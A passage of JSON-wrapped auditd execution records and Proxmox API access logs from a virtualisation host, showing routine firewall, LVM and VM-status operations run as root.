a4=\"show\""} {"@timestamp":1781965925990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.990:67686): arch=c000003e syscall=59 success=yes exit=0 a0=7fff7c4d25f0 a1=5d4970aaa310 a2=5d4970aa3680 a3=5 items=2 ppid=65000 pid=65001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965086992,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965915845,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.845:67649): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965664354,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965664.354:66567): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dd3d0 a1=64f8d7410770 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305913,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.913:60446): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965925985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.985:67684): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965085880,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 484"} {"@timestamp":1781965915838,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.838:67648): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965663881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965663.881:66566): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964304240,"@rawstring":"node=pve type=EXECVE msg=audit(1781964304.240:60445): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965925977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.977:67683): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965085880,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 487"} {"@timestamp":1781965915830,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.830:67647): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965663872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965663.872:66563): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964304200,"@rawstring":"node=pve type=EXECVE msg=audit(1781964304.200:60444): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965925969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.969:67682): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965085880,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:04 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965915827,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.827:67646): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965660.689:66560): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72533a0 a1=637ee7254820 a2=637ee7240ef0 a3=8 items=2 ppid=63929 pid=63930 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964303673,"@rawstring":"node=pve type=EXECVE msg=audit(1781964303.673:60443): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965925962,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.962:67681): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b00480 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64997 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965085880,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 822"} {"@timestamp":1781965915822,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.822:67645): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965660689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965660.689:66559): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253e20 a1=637ee7254580 a2=637ee7240ef0 a3=8 items=2 ppid=63929 pid=63931 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964303664,"@rawstring":"node=pve type=EXECVE msg=audit(1781964303.664:60440): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965925953,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.953:67680): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d7f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64996 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965084646,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 790"} {"@timestamp":1781965915821,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.821:67644): argc=1 a0=\"date\""} {"@timestamp":1781965660687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965660.687:66558): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c20 a1=637ee72526f0 a2=637ee7257220 a3=8 items=2 ppid=846 pid=63928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964298651,"@rawstring":"node=pve type=EXECVE msg=audit(1781964298.651:60437): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965925943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.943:67679): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139650 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64995 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965084646,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:03 +0100] \"POST /api2/json/nodes/pve/qemu/877/vncproxy HTTP/1.1\" 200 1975"} {"@timestamp":1781965915817,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.817:67642): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965658.862:66557): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964298641,"@rawstring":"node=pve type=EXECVE msg=audit(1781964298.641:60434): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965924787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.787:67678): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current? HTTP/1.1\" 200 804"} {"@timestamp":1781965915809,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.809:67641): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965658.854:66554): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295900,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.900:60431): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965924777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.777:67675): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965915802,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.802:67640): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965655371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.371:66551): arch=c000003e syscall=59 success=yes exit=0 a0=5770d6dd30e0 a1=5770d6dcfe60 a2=5770d6db1680 a3=5 items=2 ppid=63919 pid=63925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295896,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.896:60430): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965924207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.207:67672): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6720 a1=64f8d740f3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965915797,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.797:67639): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965655365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.365:66550): arch=c000003e syscall=59 success=yes exit=0 a0=5770b0d82ac8 a1=7ffd2ad26700 a2=5770d6db1680 a3=5770b0d6624e items=2 ppid=63919 pid=63921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295896,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.896:60429): argc=1 a0=\"date\""} {"@timestamp":1781965924177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.177:67671): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71ae730 a1=64f8d73b4b60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 803"} {"@timestamp":1781965915789,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.789:67638): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965655364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.364:66549): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd2ad266c0 a1=5770d6db8310 a2=5770d6db1680 a3=5 items=2 ppid=63919 pid=63920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295890,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.890:60427): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965919764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965919.764:67670): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965915779,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.779:67637): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965655358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.358:66547): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295882,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.882:60426): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965919756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965919.756:67667): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/pending HTTP/1.1\" 200 865"} {"@timestamp":1781965915080,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.080:67636): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965655345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.345:66546): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295875,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.875:60425): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965915926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.926:67664): arch=c000003e syscall=59 success=yes exit=0 a0=5d69123d90a0 a1=5d69123d5e20 a2=5d69123b7680 a3=5 items=2 ppid=64978 pid=64984 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965915048,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.048:67635): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965655335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.335:66545): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63917 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295868,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.868:60424): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965915922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.922:67663): arch=c000003e syscall=59 success=yes exit=0 a0=5d68ef29bac8 a1=7fff08707680 a2=5d69123b7680 a3=5d68ef27f24e items=2 ppid=64978 pid=64980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:01 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965914747,"@rawstring":"node=pve type=EXECVE msg=audit(1781965914.747:67634): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965655325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.325:66544): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295861,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.861:60423): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965915921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.921:67662): arch=c000003e syscall=59 success=yes exit=0 a0=7fff08707640 a1=5d69123be310 a2=5d69123b7680 a3=5 items=2 ppid=64978 pid=64979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 757"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=EXECVE msg=audit(1781965914.740:67631): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965655316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.316:66543): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295855,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.855:60421): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965915916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.916:67660): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64978 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965081533,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 766"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=EXECVE msg=audit(1781965909.729:67628): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965655312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.312:66542): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e3738f51740 items=0 ppid=1156 pid=63914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964295850,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.850:60420): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965915909,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.909:67659): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965080220,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965909719,"@rawstring":"node=pve type=EXECVE msg=audit(1781965909.719:67625): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965655308,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.308:66541): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed630 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295845,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.845:60419): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965915903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.903:67658): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965080220,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/pending HTTP/1.1\" 200 865"} {"@timestamp":1781965905768,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.768:67622): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965655299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.299:66540): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130160 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295838,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.838:60418): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965915895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.895:67657): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 